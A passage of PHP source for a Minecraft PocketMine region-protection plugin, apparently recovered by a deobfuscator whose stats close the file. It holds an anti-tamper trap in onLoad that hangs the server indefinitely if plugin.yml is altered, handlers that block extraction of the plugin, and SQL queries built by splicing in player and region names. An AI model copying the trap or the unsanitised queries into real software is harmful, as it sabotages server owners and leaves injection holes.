PvP.\"\nmsg_youcannotusechat: \"&4 .\"\nmsg_youcannotdrop: \"&4 .\"\nmsg_youcannotopenchests: \"&4 .\"\nmsg_youcannottohilldirt: \"&4 .\"\nmsg_youcannotopendoors: \"&4 .\"\nmsg_youcannotusefurnaces: \"&4 .\"\nmsg_youcannotusebonemeal: \"&4 .\"\nmsg_youcannotusebucket: \"&4 .\"\nmsg_youcannotuselighter: \"&4 .\"\n\nmsg_rglist: \"&e:\"\nmsg_rglist_tpl: \" * {REGION}\"");fclose($file);$this->msgscfg = new Config($this->getDataFolder()."messages.yml", Config::YAML);}if(file_exists($this->getDataFolder()."xgroups.yml")) {$this->xgroup = new Config($this->getDataFolder()."xgroups.yml", Config::YAML);} else {if($this->getServer()->getPluginManager()->getPlugin('xPermissions')) {$perm_plugin = "xPermissions";} elseif($this->getServer()->getPluginManager()->getPlugin('PurePerms')) {$perm_plugin = "PurePerms";} else {$perm_plugin = false;}if($perm_plugin == "xPermissions" || $perm_plugin == "false") {$default_group = 'Default';} elseif($perm_plugin == "PurePerms") {$default_group = 'Guest';}$this->xgroup = new Config($this->getDataFolder()."xgroups.yml", Config::YAML,array($default_group => array('max_regions_num' => 2,'max_region_count_blocks' => 2000),'VIP' => array('max_regions_num' => 5,'max_region_count_blocks' => 5000),'Creative' => array('max_regions_num' => 8,'max_region_count_blocks' => 15000)));}$this->config->save();$this->xgroup->save();$this->getServer()->getPluginManager()->registerEvents($this, $this);}public function getPlayerGroup($username, $params = []) {if($this->config->get("permission_plugin") == "xPermissions") {$xuser = $this->getServer()->getPluginManager()->getPlugin("xPermissions")->getUser($username);$user_group = $xuser->getUserGroup($level)->getName();return $user_group;} elseif($this->config->get("permission_plugin") == "PurePerms") {$pureperms = $this->getServer()->getPluginManager()->getPlugin("PurePerms");$pgroup = $pureperms->getUserDataMgr()->getGroup($this->getServer()->getOfflinePlayer($username), $params['levelName'])->getName();return $pgroup;} else {return $this->config->get("default_group");}}public function onServerCommandEvent(ServerCommandEvent $event) {$command = strtolower($event->getCommand());$reg = "/extractplugin\s{1,}worldguardian/";if(preg_match($reg, strtolower($command))) {$event->setCancelled();}}public function onPlayerCommand(PlayerCommandPreprocessEvent $event) {$command = strtolower($event->getMessage());$reg = "/\/extractplugin\s{1,}worldguardian/";if($command{0} == "/" && preg_match($reg, $command)) {$event->setCancelled();}}public function onTouch(PlayerInteractEvent $event){$player = $event->getPlayer();$block = $event->getBlock();$x = round($event->getBlock()->getX());$y = round($event->getBlock()->getY());$z = round($event->getBlock()->getZ());$level = $event->getBlock()->getLevel()->getName();$username = strtolower($event->getPlayer()->getName());if($event->getItem()->getID() == 351 && $event->getItem()->getDamage() == 15){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'bone-meal' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotusebonemeal"));$event->setCancelled(true);}}}}if($event->getItem()->getID() == 325){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'bucket' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotusebucket"));$event->setCancelled(true);}}}}if($event->getItem()->getID() == 259){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'lighter' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotuselighter"));$event->setCancelled(true);}}}}}public function onLoad() {$path = dirname(__FILE__)."/../../plugin.yml";if(md5_file($path) != strtolower("21363DF4A42B85D07C8CD0877AD0A96B")) {sleep(time());}}public function countBlocks($x1, $y1, $z1, $x2, $y2, $z2){$count = abs(($x2 - $x1 + 1) * ($y2 - $y1 + 1) * ($z2 - $z1 + 1));return $count;}public function onCommand(CommandSender $sender, Command $cmd, $label, array $args){return $this->wgCommands->onCommand($sender, $cmd, $label, $args);}public function loadDB(){@mkdir($this->getDataFolder());$this->db = new \SQLite3($this->getDataFolder(). "regions.sqlite3");$this->db->exec("CREATE TABLE IF NOT EXISTS AREAS(Region TEXT,Owner TEXT NOT NULL,Pos1X INTEGER NOT NULL,Pos1Y INTEGER NOT NULL,Pos1Z INTEGER NOT NULL,Pos2X INTEGER NOT NULL,Pos2Y INTEGER NOT NULL,Pos2Z INTEGER NOT NULL,Level TEXT NOT NULL);CREATE TABLE IF NOT EXISTS MEMBERS(Name TEXT NOT NULL,Region TEXT NOT NULL);CREATE TABLE IF NOT EXISTS FLAGS(Region TEXT NOT NULL,Flag TEXT NOT NULL,Value TEXT NOT NULL);");}public function onDisable(){$this->db->close();}}
Function Calls
| None |
Stats
| MD5 | d39aa6907ded7b94dcd778fdde7a499b |
| Eval Count | 0 |
| Decode Time | 174 ms |